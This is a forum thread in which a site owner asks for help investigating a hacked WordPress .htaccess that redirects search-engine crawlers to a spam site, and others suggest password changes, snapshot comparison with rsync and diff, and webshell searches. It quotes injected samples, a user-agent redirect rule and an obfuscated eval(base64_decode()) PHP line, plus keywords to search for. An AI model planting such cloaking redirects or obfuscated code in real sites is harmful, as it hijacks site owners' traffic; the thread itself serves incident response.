Help me audit possible intrusion/vulnerability

Hey, all

I installed the latest edition of Wordpress into a directory recently and someone edited it’s .htaccess file and sneaked these lines into the bottom of the file (after coupla hundred blank lines) :

--------------- SNIP -----------------

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot)
RewriteRule ^ [R=301,L]

--------------- SNIP -----------------

It forwards search-engines to a another [spam] site. I hope you all see the implications there…

It is the second time this happens within a month. Last time I contacted DH but got hold of someone who suggested I checked my pc for keyloggers (doh!) … anyhow I changed my password, but seemingly in vain.

This time I’m quite confident it’s Wordpress, but wait… My Wordpress admin directory is protected with HTTP Authentication, but I have a plugin (Wordpress AskApache) that has write permission to the .htaccess file, but how do I know it was edited thru that plugin?

I looked around, and I can state that:

  • Nobody but me logged in (no ftp, ssh logins) during that time
  • My apache log file (accesslog) shows no evidence of any acces to that file during day

Is there anything I can do to remedy this issue?
Thanks in advance.

Did you get WP from an official location?

Change your passwords - including the database user password!

Maximum Cash Discount on any plan with MAXCASH

How To Install PHP.INI / ionCube on DreamHost

What do you mean by that? You wouldn’t see a request for .htaccess - you would see a request for a script with parameters (or maybe a POST without parameters)

You might need to go through all your files and make sure you don’t have a webshell or other malicious script placed on your site too.

Try using rsync to incremental backup to changed files so you can review any changes.

:cool: -//-

[quote]Did you get WP from an official location?
Change your passwords - including the database user password![/quote]
Yes, I checked out (svn) straight from the repository… and I changed both ftp and database passwords.

You’re correct, my bad… my site isnt public yet, so almost all requests for scripts are my IPs…

That’s exactly what I was searching for … DH takes hourly/daily/weekly snapshots, I might have to dig around and find ways to compare current file tree with the snapshots… do you have any tips regarding that? (diff dir1 dir2 …?)

Thanks so far…

PS: this is a loganalysis tool am using to look for clues… it’s extremely useful when you need to dig around (am working on this tool)

One can try

rsync -r --list-only ~/.snapshot/weekly.1/domain/ ~/domain/ > ~/then.txt rsync -r --list-only ~/domain/ ~/domain/ > ~/now.txt diff --unified ~/then.txt ~/now.txt

:cool: -//-

Thanks, Atropos7

The diff command shows way more differences than expected.
The “unified context” [–unified] shows files listed in both?

line #1 : you’re using rsync to list files that are out of sync then…
line #2 : list all current files
line #3 : compare and find diff

are my assumptions correct? how do you list only modified files?

I am using rsync because it will show the path and filename together. The -list-only argument shows all source files, not ones that changed.

So I am getting a listof all the files in the backup and another list of all the current files in a format for easy comparison on permissions, size, timestamp and path. Then I am running diff.

The unified format shows lines before and after changes. Change the argument from --unified to -U0 if that is too confusing:

--- then.txt 2009-02-09 14:18:32.000000000 -0800 +++ now.txt 2009-02-09 14:16:21.000000000 -0800 @@ -1,2 +1,2 @@ -drwxr-xr-x 4096 2009/01/25 14:11:35 . --rw-r--r-- 360 2009/01/22 10:29:17 .htaccess +drwxr-xr-x 4096 2009/02/08 15:48:36 . +-rw-r--r-- 362 2009/02/05 17:48:46 .htaccess @@ -11 +11 @@ --rw-r--r-- 1762 2009/02/08 18:09:56 timezone.php +-rw-r--r-- 160 2009/02/08 15:48:37 timezone.php @@ -28 +28 @@ -drwxr-xr-x 4096 2009/01/22 18:10:10 service/billing +drwxr-xr-x 4096 2009/02/05 17:52:59 service/billing- means a line was removed and + means a line was added.

:cool: -//-

Unless these spammers have figured out a way to beat WordPress’s nonces they didn’t use the AskApache Password Protection Plugin to do it. And as the author of that plugin, I know these exploits very well indeed, having studied hundreds and thousands of them on honeypots and in server logs which is how I came up with the anti-hacking htaccess rules that supplement the authentication aspect.

From what I’ve been able to gather, the exploit most likely occured from an insecure WordPress plugin, an insecure CMS (joomla,xoops,etc.), that you had, or from someone stealing your ftp login info, which shouldnt happen because DH supplies encrypted transports (sftp, ssh, etc.)… all it takes is one unencrypted mistake, or just downloading 1 trojan or being infected by 1 malicious website with a 0 day on it.

Here’s some example ‘exploit’ code…

$agent = $_SERVER['HTTP_USER_AGENT']; if (eregi("google", $agent)) {header("HTTP/1.1 301"); header("Location: http://ba"); exit(); }

eval(base64_decode('naSgiZ29vKCJIVFRQLzEuMSAzMDEiKTtoZWFkZXIoIkxvY2F0aW9 uOiBodHRwOi8vYmFibG8ubWUudWsvIik7ZXhpdCgpO30=’));

So search your site files for ‘base64_decode’, ‘eval’, ‘header’, ‘301’, etc…

I agree that compromised FTP accounts are the most likely culprit. Although it is possible that someone has written code that is able to bypass a webhosting companies internal security to reach the stored passwords, its unlikely because they would eventually go out of business if they were that awful.

Many webhosting companies use those easy webftp type scripts and use them in their cpanels and various user-login areas, these scripts often verify the username and password by checking a database, usually MySQL. So that is more likely that an AI-trojan running around undetected. Access to a a MySQL database of passwords would only be noticed if they were actively checking for that.

Otherwise the loss of the ftp account info could happen anywhere upstream of your connection if you are not using sftp. My guess is they have access to a webhosting companies MySQL database, maybe they got lucky with their greeting card trojans and got a staff members computer infected and found it that way. Once they have ftp access to your account they can find other passwords and usernames you are associated with by looking at your config files, thats where it can start to be more AI… they seem pretty dumb though, so I doubt it.

All you can do if you are in this position is continually bug your hosting support until they fix it. A crime is being committed and they do have certain legal obligations to at least try and prevent this from happening.

Even the .htaccess security trick I outlined here won’t work if your host is to blame… but DH is for the most part still linux people, and they know their stuff.

[color=#00CC00] _ _| _ _ _ _|_ _ (_|_\|<(_||_)(_|(_| |(/_ | [/color]